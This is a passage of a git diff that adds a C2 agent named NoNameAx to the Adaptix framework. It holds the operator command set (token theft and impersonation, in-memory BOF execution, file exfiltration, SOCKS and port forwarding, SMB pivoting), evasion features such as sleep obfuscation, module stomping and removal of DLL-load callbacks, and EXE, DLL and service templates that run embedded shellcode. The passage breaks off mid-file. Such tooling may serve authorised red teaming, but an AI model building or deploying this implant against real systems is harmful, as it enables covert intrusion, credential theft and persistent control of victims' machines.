textGateAPIAdd.setText(""); } + }); + form.connect(btnGateAPIRm, "clicked", function() { + let r = listGateAPIs.currentRow(); + if (r >= 0) listGateAPIs.removeItem(r); + }); + + tab3.addWidget(listGateAPIs, t3r, 0, 1, 2); t3r++; + let gateBtnLayout = form.create_hlayout(); + gateBtnLayout.addWidget(textGateAPIAdd); + gateBtnLayout.addWidget(btnGateAPIAdd); + gateBtnLayout.addWidget(btnGateAPIRm); + let gateBtnPanel = form.create_panel(); + gateBtnPanel.setLayout(gateBtnLayout); + tab3.addWidget(gateBtnPanel, t3r, 0, 1, 2); t3r++; + + form.connect(checkBeaconGate, "stateChanged", function() { + let on = checkBeaconGate.isChecked(); + textSmStompDll.setEnabled(on); + listGateAPIs.setEnabled(on); + textGateAPIAdd.setEnabled(on); + btnGateAPIAdd.setEnabled(on); + btnGateAPIRm.setEnabled(on); + if (on) { + checkStomp.setChecked(true); + checkStomp.setEnabled(false); + checkUnwind.setChecked(true); + checkUnwind.setEnabled(false); + } else { + checkStomp.setEnabled(true); + checkUnwind.setEnabled(checkStomp.isChecked()); + } + }); + + container.put("beacongate", checkBeaconGate); + container.put("sm_stomp_dll", textSmStompDll); + container.put("gate_apis", listGateAPIs); + + let tab3Panel = form.create_panel(); + tab3Panel.setLayout(tab3); + + // ========= [ Tabs ] ========= + + let tabs = form.create_tabs(); + tabs.addTab(tab1Panel, "Beacon"); + tabs.addTab(tab2Panel, "Evasion"); + tabs.addTab(tab3Panel, "BeaconGate"); + + let rootLayout = form.create_vlayout(); + rootLayout.addWidget(tabs); + let rootPanel = form.create_panel(); + rootPanel.setLayout(rootLayout); + + return { + ui_panel: rootPanel, + ui_container: container, + ui_height: isSmb ? 300 : 420, + ui_width: 450 + }; +} + + +// ========= [ Command registration ] ========= +// To add a new command: +// 1. Create it with ax.create_command(name, description, example, queued_msg) +// 2. Add args with addArgString / addArgInt / addArgBool +// 3. For commands with sub-commands: create children first, then parent.addSubCommands([...]) +// 4. Add to the array passed to ax.create_commands_group(...) +// 5. Implement CreateCommand case in pl_main.go, add beacon handler in Commands/ + +function RegisterCommands(listenerType) +{ + // ---- whoami ---- + let cmd_whoami = ax.create_command( + "whoami", + "Return the current Windows username (via GetUserNameW)", + "whoami", + "Queuing whoami..." + ); + + // ---- sleep ---- + let cmd_sleep = ax.create_command( + "sleep", + "Update the beacon sleep interval and optional jitter percentage", + "sleep {sleep} {jitter}", + "Queuing sleep..." + ); + cmd_sleep.addArgString("sleep", true, "Seconds or duration e.g. 10, 500ms, 1.5s, 1m30s"); + cmd_sleep.addArgInt ("jitter", false, "Max random ± % added to sleep (0–100)"); + + // ---- filesystem ---- + let cmd_cd = ax.create_command("cd", "Change the working directory", "cd {path}", "Queuing cd..."); + cmd_cd.addArgString("path", true, "Target directory (absolute or relative)"); + + let cmd_pwd = ax.create_command("pwd", "Print the current working directory", "pwd", "Queuing pwd..."); + + let cmd_mkdir = ax.create_command("mkdir", "Create a directory", "mkdir {path}", "Queuing mkdir..."); + cmd_mkdir.addArgString("path", true, "Directory path to create"); + + let cmd_rmdir = ax.create_command("rmdir", "Remove a directory", "rmdir {path}", "Queuing rmdir..."); + cmd_rmdir.addArgString("path", true, "Directory path to remove"); + + let cmd_cat = ax.create_command("cat", "Read and display a file", "cat {path}", "Queuing cat..."); + cmd_cat.addArgString("path", true, "File path (absolute recommended)"); + + // ---- terminate ---- + // Sub-commands are shown when the user types `terminate` or `help terminate`. + let cmd_terminate_thread = ax.create_command( + "thread", + "Exit the current beacon thread (RtlExitUserThread - leaves process alive)", + "terminate thread", + "Queuing terminate thread..." + ); + let cmd_terminate_process = ax.create_command( + "process", + "Kill the entire beacon process (ExitProcess - hard stop)", + "terminate process", + "Queuing terminate process..." + ); + let cmd_rm = ax.create_command("rm", "Delete a file", "rm {path}", "Queuing rm..."); + cmd_rm.addArgString("path", true, "File path to delete"); + + // ---- screenshot ---- + let cmd_screenshot = ax.create_command("screenshot", "Capture desktop screenshot (GDI)", "screenshot", "Queuing screenshot..."); + + // ---- download ---- + let cmd_download = ax.create_command("download", "Download a file from the agent machine", "download {path} {chunk_size}", "Queuing download..."); + cmd_download.addArgString("path", true, "Absolute path of the file to download"); + cmd_download.addArgString("chunk_size", false, "Chunk size per heartbeat (e.g. 4MB, 512KB, default uses global setting)"); + + // ---- upload ---- + let cmd_upload = ax.create_command("upload", "Upload a file from operator to agent machine", "upload {file} {remote_path} {chunk_size}", "Queuing upload..."); + cmd_upload.addArgFile("file", true, "Local file to upload"); + cmd_upload.addArgString("remote_path", true, "Destination path on the agent machine"); + cmd_upload.addArgString("chunk_size", false, "Chunk size per task (e.g. 2MB, 512KB, default 2MB, max 4MB)"); + + // ---- bof (direct, manual args) ---- + let cmd_bof = ax.create_command("bof", "Execute a Beacon Object File in-process", "bof {file} {args}", "Queuing BOF..."); + cmd_bof.addArgFile("file", true, "COFF .o file (uploaded from operator machine)"); + cmd_bof.addArgString("args", false, "Packed args: comma-separated type:value (str:hello,int:42,wstr:world,short:1)"); + + // ---- execute bof (Extension-Kit compatible) ---- + // Matches the Kharon/Adaptix standard interface used by all Extension-Kit scripts: + // execute bof "/path/to/bof.x64.o" + // bof_file is uploaded by Adaptix (base64 in args); param_data is a hex string + // produced by ax.bof_pack("cstr,int,...", [...]) in the script pre-hook. + let cmd_exec_bof = ax.create_command("bof", "Execute a Beacon Object File (BOF) with optional parameters", "execute bof -a /path/to/bof.x64.o ", "Queuing BOF..."); + cmd_exec_bof.addArgBool("-a", "Run asynchronously (non-blocking)"); + cmd_exec_bof.addArgFlagInt("-t", "timeout", "Watchdog timeout in seconds (default 60)", 0); + cmd_exec_bof.addArgFile("bof_file", true, "COFF .o file"); + cmd_exec_bof.addArgString("param_data", false); + + let cmd_execute = ax.create_command("execute", "Execute a Beacon Object File"); + cmd_execute.addSubCommands([cmd_exec_bof]); + + // ---- job (async BOF management) ---- + let cmd_job_list = ax.create_command("list", "List active async BOF jobs", "job list", "Listing jobs..."); + let cmd_job_kill = ax.create_command("kill", "Kill an async BOF job", "job kill ", "Killing job..."); + cmd_job_kill.addArgString("task_id", true, "Task ID of the job to kill (hex, e.g. a1b2c3d4)"); + let cmd_job = ax.create_command("job", "Manage async BOF jobs"); + cmd_job.addSubCommands([cmd_job_list, cmd_job_kill]); + + // ---- ps (process management) ---- + let cmd_ps_list = ax.create_command("list", "Show process list", "ps list", "Queuing ps list..."); + + let cmd_ps_kill = ax.create_command("kill", "Kill a process by PID", "ps kill {pid}", "Queuing ps kill..."); + cmd_ps_kill.addArgInt("pid", true, "Process ID to terminate"); + + let cmd_ps_run = ax.create_command("run", "Run a program", "ps run -o cmd.exe /c whoami /all", "Queuing ps run..."); + cmd_ps_run.addArgBool("-s", "Suspend process"); + cmd_ps_run.addArgBool("-o", "Output to console"); + cmd_ps_run.addArgBool("-i", "Use impersonation"); + cmd_ps_run.addArgString("args", true); + + let cmd_ps = ax.create_command("ps", "Process management"); + cmd_ps.addSubCommands([cmd_ps_list, cmd_ps_kill, cmd_ps_run]); + + // ---- token (token manipulation) ---- + let cmd_token_getuid = ax.create_command("getuid", "Show the current effective user identity", "token getuid", "Queuing token getuid..."); + + let cmd_token_steal = ax.create_command("steal", "Steal a token from a target process", "token steal -i 1234", "Queuing token steal..."); + cmd_token_steal.addArgBool("-i", "Immediately impersonate the stolen token"); + cmd_token_steal.addArgInt("pid", true, "Target process ID"); + + let cmd_token_impersonate = ax.create_command("impersonate", "Impersonate a stored token", "token impersonate 1", "Queuing token impersonate..."); + cmd_token_impersonate.addArgInt("token_id", true, "Token ID from 'token list'"); + + let cmd_token_list = ax.create_command("list", "List all stored tokens", "token list", "Queuing token list..."); + + let cmd_token_rm = ax.create_command("rm", "Remove a stored token", "token rm 1", "Queuing token rm..."); + cmd_token_rm.addArgInt("token_id", true, "Token ID to remove"); + + let cmd_token_revert = ax.create_command("revert", "Drop impersonation and revert to process token", "token revert", "Queuing token revert..."); + + let cmd_token_make = ax.create_command("make", "Create a token from credentials", "token make -t interactive DOMAIN user pass", "Queuing token make..."); + cmd_token_make.addArgString("domain", false, "Domain (e.g. CORP or . for local)"); + cmd_token_make.addArgString("username", true, "Username"); + cmd_token_make.addArgString("password", true, "Password"); + cmd_token_make.addArgString("-t", false, "Logon type: interactive | network | network_cleartext | new_credentials (default)"); + + let cmd_token_privs = ax.create_command("privs", "List privileges of the current effective token", "token privs", "Queuing token privs..."); + + let cmd_token = ax.create_command("token", "Token manipulation — steal, impersonate, create, list, revoke"); + cmd_token.addSubCommands([cmd_token_getuid, cmd_token_steal, cmd_token_impersonate, cmd_token_list, cmd_token_rm, cmd_token_revert, cmd_token_make, cmd_token_privs]); + + let cmd_ls = ax.create_command("ls", "List directory contents", "ls {path}", "Queuing ls..."); + cmd_ls.addArgString("path", false, "Directory to list (default: current working directory)"); + + let cmd_terminate = ax.create_command( + "terminate", + "Terminate the beacon - choose 'thread' to exit the current thread only or 'process' to kill the whole process", + "terminate thread" + ); + cmd_terminate.addSubCommands([cmd_terminate_thread, cmd_terminate_process]); + + // ---- profile (runtime profile update) ---- + let cmd_profile = ax.create_command("profile", "Update the agent's C2 profile at runtime", "profile {file}", "Queuing profile update..."); + cmd_profile.addArgFile("file", true, "Profile JSON file (same format as profiles/*.json)"); + + // ---- link (pivot) ---- + let cmd_link_smb = ax.create_command("smb", "Connect to a child beacon's SMB pipe", "link smb {target} {pipename}", "Queuing link smb..."); + cmd_link_smb.addArgString("target", true, "Target hostname or IP (e.g. DC01 or 10.0.0.5)"); + cmd_link_smb.addArgString("pipename", true, "Pipe name on the target (e.g. naxsmb)"); + + let cmd_link = ax.create_command("link", "Link to a child beacon via named pipe or TCP"); + cmd_link.addSubCommands([cmd_link_smb]); + + // ---- unlink ---- + let cmd_unlink = ax.create_command("unlink", "Disconnect a linked pivot agent", "unlink {pivot_id}", "Queuing unlink..."); + cmd_unlink.addArgString("pivot_id", true, "Pivot ID (8-char hex shown in link result, e.g. 33bbd59a)"); + + // ---- bof-stomp (runtime BOF module stomping config) ---- + let cmd_bs_sync = ax.create_command("sync", "Set the sync BOF stomping DLL", "bof-stomp sync chakra.dll", ""); + cmd_bs_sync.addArgString("dll", true, "DLL name for sync BOF stomping (e.g. chakra.dll)"); + cmd_bs_sync.addArgBool("-unload", "Free the old DLL instead of restoring original bytes"); + let cmd_bs_async = ax.create_command("async", "Set async BOF stomping DLL pool", "bof-stomp async jscript9.dll,mshtml.dll", ""); + cmd_bs_async.addArgString("dlls", true, "Comma-separated DLL names for async pool"); + cmd_bs_async.addArgBool("-unload", "Free the old DLLs instead of restoring original bytes"); + let cmd_bs_show = ax.create_command("show", "Show current BOF stomping config", "bof-stomp show", ""); + let cmd_bs_sm = ax.create_command("sleepmask", "Change the sleepmask stomp DLL and re-wire", "bof-stomp sleepmask msxml6.dll", ""); + cmd_bs_sm.addArgString("dll", true, "DLL name for sleepmask stomping (e.g. msxml6.dll)"); + cmd_bs_sm.addArgBool("-unload", "Free the old DLL instead of restoring original bytes"); + let cmd_bof_stomp = ax.create_command("bof-stomp", "Reconfigure BOF module stomping at runtime", "bof-stomp show", "Queuing BOF stomp config..."); + cmd_bof_stomp.addSubCommands([cmd_bs_sync, cmd_bs_async, cmd_bs_sm, cmd_bs_show]); + + // ---- lportfwd (local port forwarding) ---- + let cmd_lportfwd_start = ax.create_command("start", "Start local port forwarding (server listens, agent connects to target)", "lportfwd start 0.0.0.0 8080 10.0.0.5 3389", "Starting lportfwd..."); + cmd_lportfwd_start.addArgString("lhost", true, "Listening interface on server (e.g. 0.0.0.0)"); + cmd_lportfwd_start.addArgInt("lport", true, "Listen port on server"); + cmd_lportfwd_start.addArgString("fwdhost", true, "Target host the agent connects to"); + cmd_lportfwd_start.addArgInt("fwdport", true, "Target port the agent connects to"); + + let cmd_lportfwd_stop = ax.create_command("stop", "Stop local port forwarding", "lportfwd stop 8080", "Stopping lportfwd..."); + cmd_lportfwd_stop.addArgInt("lport", true, "Server listen port to stop"); + + let cmd_lportfwd = ax.create_command("lportfwd", "Manage local port forwarding (server -> agent -> target)"); + cmd_lportfwd.addSubCommands([cmd_lportfwd_start, cmd_lportfwd_stop]); + + // ---- rportfwd (reverse port forwarding) ---- + let cmd_rportfwd_start = ax.create_command("start", "Start reverse port forwarding (agent listens, server connects to target)", "rportfwd start 8080 10.0.0.1 4444", "Starting rportfwd..."); + cmd_rportfwd_start.addArgInt("lport", true, "Listen port on agent (127.0.0.1 only)"); + cmd_rportfwd_start.addArgString("fwdhost", true, "Target host the server connects to"); + cmd_rportfwd_start.addArgInt("fwdport", true, "Target port the server connects to"); + + let cmd_rportfwd_stop = ax.create_command("stop", "Stop reverse port forwarding", "rportfwd stop 8080", "Stopping rportfwd..."); + cmd_rportfwd_stop.addArgInt("lport", true, "Agent listen port to stop"); + + let cmd_rportfwd = ax.create_command("rportfwd", "Manage reverse port forwarding (agent -> server -> target)"); + cmd_rportfwd.addSubCommands([cmd_rportfwd_start, cmd_rportfwd_stop]); + + // ---- socks proxy ---- + let cmd_socks_start = ax.create_command("start", "Start a SOCKS proxy server", "socks start 1080 -auth user pass", "Starting SOCKS proxy..."); + cmd_socks_start.addArgFlagString("-h", "address", "Listening interface", "0.0.0.0"); + cmd_socks_start.addArgInt("port", true, "Listen port"); + cmd_socks_start.addArgBool("-socks4", "Use SOCKS4 (default: SOCKS5)"); + cmd_socks_start.addArgBool("-auth", "Enable username/password auth (SOCKS5 only)"); + cmd_socks_start.addArgString("username", false, "Auth username"); + cmd_socks_start.addArgString("password", false, "Auth password"); + + let cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080", "Stopping SOCKS proxy..."); + cmd_socks_stop.addArgInt("port", true, "Port to stop"); + + let cmd_socks = ax.create_command("socks", "Manage SOCKS proxy tunnels"); + cmd_socks.addSubCommands([cmd_socks_start, cmd_socks_stop]); + + // ---- dll-notify (DLL load notification unhooking) ---- + let cmd_dll_notify_list = ax.create_command("list", "List registered DLL load notification callbacks", "dll-notify list", "Listing DLL notifications..."); + let cmd_dll_notify_remove = ax.create_command("remove", "Remove all DLL load notification callbacks", "dll-notify remove", "Removing DLL notifications..."); + let cmd_dll_notify = ax.create_command("dll-notify", "Manage DLL load notification callbacks (LdrRegisterDllNotification)"); + cmd_dll_notify.addSubCommands([cmd_dll_notify_list, cmd_dll_notify_remove]); + + // ---- sleepmask-set (rebuild + send sleepmask BOF to agent) ---- + let cmd_sleepmask_set = ax.create_command( + "sleepmask-set", + "Rebuild and send the sleepmask BOF to the agent (enables BeaconGate Sleep proxy)", + "sleepmask-set", + "Rebuilding and sending sleepmask BOF..." + ); + cmd_sleepmask_set.addArgBool("-debug", "Build with debug output (NaxDbg prints)"); + + // ---- chunksize (download chunk size) ---- + let cmd_chunksize = ax.create_command("chunksize", "Set the download chunk size on the agent", "chunksize {size}", "Setting chunk size..."); + cmd_chunksize.addArgString("size", true, "Chunk size (e.g. 2MB, 512KB, 1048576, min 4KB, max 4MB)"); + + // ---- sleepobf-config (runtime sleep obfuscation config) ---- + let cmd_sleepobf = ax.create_command( + "sleepobf-config", + "Configure sleep obfuscation at runtime", + "sleepobf-config {sleep_obf}", + "Queuing sleep obfuscation config..." + ); + cmd_sleepobf.addArgString("sleep_obf", true, "Sleep obfuscation: on/off"); + + let group = ax.create_commands_group("NoNameAx", [ + // cmd_whoami, + cmd_sleep, + cmd_cd, cmd_pwd, cmd_mkdir, cmd_rmdir, cmd_rm, cmd_cat, cmd_ls, cmd_ps, + cmd_token, + cmd_screenshot, cmd_download, cmd_upload, cmd_bof, + cmd_execute, + cmd_job, + cmd_chunksize, + cmd_profile, + cmd_bof_stomp, + cmd_sleepmask_set, + cmd_sleepobf, + cmd_dll_notify, + cmd_link, cmd_unlink, + cmd_lportfwd, cmd_rportfwd, cmd_socks, + cmd_terminate + ]); + return { commands_windows: group }; +} + +// ========= [ Auto-inject sleepmask BOF ] ========= +// Sleepmask is now embedded at build time (Config_sleepmask.h) and loaded +// during beacon init - no need to send it on first check-in. +// The sleepmask-set command still works for runtime updates. diff --git a/src_server/agent_nonameax/bof_args.go b/src_server/agent_nonameax/bof_args.go new file mode 100644 index 0000000..6273e58 --- /dev/null +++ b/src_server/agent_nonameax/bof_args.go @@ -0,0 +1,67 @@ +package main + +import "encoding/binary" + +// BofPacker builds a packed argument buffer for BOF execution. +// Format is Cobalt Strike compatible: +// str: 4-byte LE length + raw bytes (no null terminator) +// wstr: 4-byte LE length + UTF-16LE bytes (no null) +// int: 4 bytes LE +// short: 2 bytes LE +// bin: 4-byte LE length + raw bytes +// +// The final buffer is passed directly to go(args, size) - no leading +// total-length prefix is added (unlike Kharon). The beacon receives the +// raw packed args and size via the wire. + +type BofPacker struct { + buf []byte +} + +func NewBofPacker() *BofPacker { + return &BofPacker{} +} + +func (p *BofPacker) AddStr(s string) { + b := []byte(s) + ln := make([]byte, 4) + binary.LittleEndian.PutUint32(ln, uint32(len(b))) + p.buf = append(p.buf, ln...) + p.buf = append(p.buf, b...) +} + +func (p *BofPacker) AddWStr(s string) { + runes := []rune(s) + wide := make([]byte, len(runes)*2) + for i, r := range runes { + wide[i*2] = byte(r & 0xFF) + wide[i*2+1] = byte((r >> 8) & 0xFF) + } + ln := make([]byte, 4) + binary.LittleEndian.PutUint32(ln, uint32(len(wide))) + p.buf = append(p.buf, ln...) + p.buf = append(p.buf, wide...) +} + +func (p *BofPacker) AddInt(v int32) { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, uint32(v)) + p.buf = append(p.buf, b...) +} + +func (p *BofPacker) AddShort(v int16) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(v)) + p.buf = append(p.buf, b...) +} + +func (p *BofPacker) AddBin(data []byte) { + ln := make([]byte, 4) + binary.LittleEndian.PutUint32(ln, uint32(len(data))) + p.buf = append(p.buf, ln...) + p.buf = append(p.buf, data...) +} + +func (p *BofPacker) Bytes() []byte { + return p.buf +} diff --git a/src_server/agent_nonameax/config.yaml b/src_server/agent_nonameax/config.yaml new file mode 100644 index 0000000..9f679f2 --- /dev/null +++ b/src_server/agent_nonameax/config.yaml @@ -0,0 +1,15 @@ +# NoNameAx - Adaptix extender config (agent side) +# References: +# docs/notes/phase0-reference-agent-plugin.md (config.yaml shape) +# docs/notes/phase0-reference-listener-plugin.md + +extender_type: "agent" +extender_file: "agent_nonameax.so" +ax_file: "ax_config.axs" + +agent_name: "NoNameAx" +agent_watermark: "a04a4178" # arbitrary unique 8-hex-char watermark (must be valid hex, 4 bytes) +listeners: + - "NoNameAxHTTP" + - "NoNameAxSMB" +multi_listeners: false diff --git a/src_server/agent_nonameax/go.mod b/src_server/agent_nonameax/go.mod new file mode 100644 index 0000000..05486db --- /dev/null +++ b/src_server/agent_nonameax/go.mod @@ -0,0 +1,5 @@ +module nonameax/agent + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/src_server/agent_nonameax/go.sum b/src_server/agent_nonameax/go.sum new file mode 100644 index 0000000..8889bb8 --- /dev/null +++ b/src_server/agent_nonameax/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/src_server/agent_nonameax/nax_packer.go b/src_server/agent_nonameax/nax_packer.go new file mode 100644 index 0000000..ca8ceba --- /dev/null +++ b/src_server/agent_nonameax/nax_packer.go @@ -0,0 +1,150 @@ +package main + +import ( + "encoding/binary" + "fmt" + "os" + "strings" + "unicode/utf16" +) + +const ( + naxHdrMagic = 0x4E415832 // "NAX2" + naxHdrSize = 160 + naxHdrDllMax = 64 // max WCHAR chars for DLL name + flagModStomp = 0x0001 + flagStompPdat = 0x0002 +) + +func readTextRVA(path string) (uint32, error) { + data, err := os.ReadFile(path) + if err != nil { + return 0, err + } + s := strings.TrimSpace(string(data)) + if s == "" { + return 0, nil + } + var rva uint32 + _, err = fmt.Sscanf(s, "%x", &rva) + return rva, err +} + +func normalizePdata(pdata []byte, textRva, xdataRva uint32) []byte { + if len(pdata) < 12 { + return pdata + } + out := make([]byte, len(pdata)) + copy(out, pdata) + count := len(out) / 12 + for i := 0; i < count; i++ { + off := i * 12 + begin := binary.LittleEndian.Uint32(out[off:]) + end := binary.LittleEndian.Uint32(out[off+4:]) + unwind := binary.LittleEndian.Uint32(out[off+8:]) + binary.LittleEndian.PutUint32(out[off:], begin-textRva) + binary.LittleEndian.PutUint32(out[off+4:], end-textRva) + binary.LittleEndian.PutUint32(out[off+8:], unwind-xdataRva) + } + return out +} + +func buildEntryUnwind() (runtimeFunc [12]byte, unwindInfo [12]byte) { + // RUNTIME_FUNCTION for Entry.asm Start (0x00 to 0x16) + binary.LittleEndian.PutUint32(runtimeFunc[0:], 0x0000) + binary.LittleEndian.PutUint32(runtimeFunc[4:], 0x0016) + binary.LittleEndian.PutUint32(runtimeFunc[8:], 0x0000) // filled later + + // UNWIND_INFO: Version=1, Flags=0, SizeOfProlog=0x0C, CountOfCodes=3 + // FrameRegister=RSI(6), FrameOffset=0 + const ( + uwopPushNonvol = 0 + uwopAllocSmall = 2 + uwopSetFpreg = 3 + rsi = 6 + ) + unwindInfo[0] = 0x01 // Version=1, Flags=0 + unwindInfo[1] = 0x0C // SizeOfProlog + unwindInfo[2] = 3 // CountOfCodes + unwindInfo[3] = (0 << 4) | rsi // FrameOffset=0, FrameRegister=RSI + unwindInfo[4] = 0x08 // UnwindCode[0] offset + unwindInfo[5] = (3 << 4) | uwopAllocSmall // info=3 (0x20 bytes), op=ALLOC_SMALL + unwindInfo[6] = 0x01 // UnwindCode[1] offset + unwindInfo[7] = (0 << 4) | uwopSetFpreg // info=0, op=SET_FPREG + unwindInfo[8] = 0x00 // UnwindCode[2] offset + unwindInfo[9] = (rsi << 4) | uwopPushNonvol // info=RSI, op=PUSH_NONVOL + unwindInfo[10] = 0x00 // padding + unwindInfo[11] = 0x00 // padding + + return +} + +func utf16LEEncode(s string) []byte { + runes := utf16.Encode([]rune(s)) + buf := make([]byte, len(runes)*2) + for i, r := range runes { + binary.LittleEndian.PutUint16(buf[i*2:], r) + } + return buf +} + +func encodeDllName(name string) [128]byte { + var buf [128]byte + runes := utf16.Encode([]rune(name)) + for i, r := range runes { + if i >= naxHdrDllMax-1 { + break + } + binary.LittleEndian.PutUint16(buf[i*2:], r) + } + return buf +} + +func buildNaxHeader(beaconSize, pdataSize, xdataSize, textRva, flags uint32, dllName string) []byte { + hdr := make([]byte, naxHdrSize) + binary.LittleEndian.PutUint32(hdr[0:], naxHdrMagic) + binary.LittleEndian.PutUint32(hdr[4:], beaconSize) + binary.LittleEndian.PutUint32(hdr[8:], pdataSize) + binary.LittleEndian.PutUint32(hdr[12:], xdataSize) + binary.LittleEndian.PutUint32(hdr[16:], textRva) + binary.LittleEndian.PutUint32(hdr[20:], flags) + dll := encodeDllName(dllName) + copy(hdr[24:24+128], dll[:]) + // remaining 8 bytes are reserved (zero) + return hdr +} + +func align4(n int) int { return (n + 3) &^ 3 } + +func packNaxBin(loader, beacon, pdata, xdata []byte, textRva, flags uint32, dllName string) []byte { + if len(pdata) > 0 && textRva > 0 { + xdataRva := textRva + uint32(align4(len(beacon))) + uint32(align4(len(pdata))) + pdata = normalizePdata(pdata, textRva, xdataRva) + + entryRF, entryUI := buildEntryUnwind() + uiSize := uint32(len(entryUI)) + + // Shift existing UnwindData offsets by the prepended UNWIND_INFO size + for i := 0; i < len(pdata)/12; i++ { + off := i*12 + 8 + u := binary.LittleEndian.Uint32(pdata[off:]) + binary.LittleEndian.PutUint32(pdata[off:], u+uiSize) + } + + // Prepend entry RUNTIME_FUNCTION to pdata + pdata = append(entryRF[:], pdata...) + // Prepend entry UNWIND_INFO to xdata + xdata = append(entryUI[:], xdata...) + } + + hdr := buildNaxHeader(uint32(len(beacon)), uint32(len(pdata)), uint32(len(xdata)), textRva, flags, dllName) + + total := len(loader) + len(hdr) + len(beacon) + len(pdata) + len(xdata) + payload := make([]byte, 0, total) + payload = append(payload, loader...) + payload = append(payload, hdr...) + payload = append(payload, beacon...) + payload = append(payload, pdata...) + payload = append(payload, xdata...) + return payload +} diff --git a/src_server/agent_nonameax/pe_templates/Dll.cc b/src_server/agent_nonameax/pe_templates/Dll.cc new file mode 100644 index 0000000..e0f67d9 --- /dev/null +++ b/src_server/agent_nonameax/pe_templates/Dll.cc @@ -0,0 +1,37 @@ +#include +#include + +EXTERN_C auto DLLEXPORT Runner( VOID ) -> VOID { + VOID ( *Nax )( VOID ) = ( decltype( Nax ) )Shellcode::Data; + Nax(); +} + +auto WINAPI DllMain( + HINSTANCE DllInstance, + ULONG Reason, + PVOID Reserved +) -> BOOL { + switch( Reason ) { + case DLL_PROCESS_ATTACH: + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + case DLL_PROCESS_DETACH: + if (Reserved != nullptr) + { + break; + } + break; + } + return TRUE; +} + +extern "C" BOOL WINAPI DllMainCRTStartup( + HINSTANCE DllInstance, + ULONG Reason, + PVOID Reserved +) { + return DllMain( DllInstance, Reason, Reserved ); +} diff --git a/src_server/agent_nonameax/pe_templates/Exe.cc b/src_server/agent_nonameax/pe_templates/Exe.cc new file mode 100644 index 0000000..7e2ee73 --- /dev/null +++ b/src_server/agent_nonameax/pe_templates/Exe.cc @@ -0,0 +1,23 @@ +#include +#include + +auto Runner( VOID ) -> VOID { + VOID ( *Nax )( VOID ) = ( decltype( Nax ) )Shellcode::Data; + Nax(); +} + +auto WINAPI WinMain( + _In_ HINSTANCE Instance, + _In_ HINSTANCE PrevInstance, + _In_ CHAR* CommandLine, + _In_ INT32 ShowCmd +) -> INT32 { + Runner(); + WaitForSingleObject( (HANDLE)-1, INFINITE ); + return 0; +} + +extern "C" VOID WinMainCRTStartup( VOID ) { + INT32 ret = WinMain( NULL, NULL, NULL, 0 ); + ExitProcess( (UINT)ret ); +} diff --git a/src_server/agent_nonameax/pe_templates/Nax.h b/src_server/agent_nonameax/pe_templates/Nax.h new file mode 100644 index 0000000..ff946aa --- /dev/null +++ b/src_server/agent_nonameax/pe_templates/Nax.h @@ -0,0 +1,4 @@ +#pragma once +#include + +#define DLLEXPORT __declspec(dllexport) diff --git a/src_server/agent_nonameax/pe_templates/Svc.cc b/src_server/agent_nonameax/pe_templates/Svc.cc new file mode 100644 index 0000000..2d680c3 --- /dev/null +++ b/src_server/agent_nonameax/pe_templates/Svc.cc @@ -0,0 +1,95 @@ +#include +#include + +#ifndef NAX_SVC_NAME +#define NAX_SVC_NAME L"NaxService" +#endif + +SERVICE_STATUS ServiceStatus = {0}; +SERVICE_STATUS_HANDLE ServiceStatusHandle = NULL; +HANDLE g_StopEvent = NULL; + +static wchar_t ServiceName[] = NAX_SVC_NAME; + +VOID WINAPI ServiceMain( DWORD argc, LPWSTR *argv ); +VOID WINAPI ServiceCtrlHandler( DWORD Ctrl ); +VOID RunNax( VOID ); + +VOID RunNax( VOID ) { + VOID ( *Nax )( VOID ) = ( decltype( Nax ) )Shellcode::Data; + Nax(); +} + +VOID WINAPI ServiceCtrlHandler( DWORD Ctrl ) { + switch ( Ctrl ) { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; + SetServiceStatus( ServiceStatusHandle, &ServiceStatus ); + SetEvent( g_StopEvent ); + return; + + case SERVICE_CONTROL_INTERROGATE: + break; + + default: + break; + } + + SetServiceStatus( ServiceStatusHandle, &ServiceStatus ); +} + +VOID WINAPI ServiceMain( DWORD argc, LPWSTR *argv ) { + + LPCWSTR name = ( argc > 0 && argv && argv[0] ) ? argv[0] : ServiceName; + ServiceStatusHandle = RegisterServiceCtrlHandlerW( name, ServiceCtrlHandler ); + + if ( ! ServiceStatusHandle ) { + return; + } + + ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + ServiceStatus.dwCurrentState = SERVICE_RUNNING; + ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwServiceSpecificExitCode = 0; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + + SetServiceStatus( ServiceStatusHandle, &ServiceStatus ); + + g_StopEvent = CreateEventW( NULL, TRUE, FALSE, NULL ); + if ( !g_StopEvent ) { + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus( ServiceStatusHandle, &ServiceStatus ); + return; + } + + RunNax(); + + WaitForSingleObject( g_StopEvent, INFINITE ); + CloseHandle( g_StopEvent ); + + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus( ServiceStatusHandle, &ServiceStatus ); +} + +auto WINAPI WinMain( + _In_ HINSTANCE Instance, + _In_ HINSTANCE PrevInstance, + _In_ LPSTR CommandLine, + _In_ INT32 ShowCmd +) -> INT32 { + SERVICE_TABLE_ENTRYW ServiceTable[] = { { ServiceName, ServiceMain }, { nullptr, nullptr } }; + + if ( ! StartServiceCtrlDispatcherW( ServiceTable ) ) { + RunNax(); + } + + return 0; +} + +extern "C" VOID WinMainCRTStartup( VOID ) { + INT32 ret = WinMain( NULL, NULL, NULL, 0 ); + ExitProcess( (UINT)ret ); +} diff --git a/src_server/agent_nonameax/pl_agent.go b/src_server/agent_nonameax/pl_agent.go new file mode 100644 index 0000000..a8bd9d9 --- /dev/null +++ 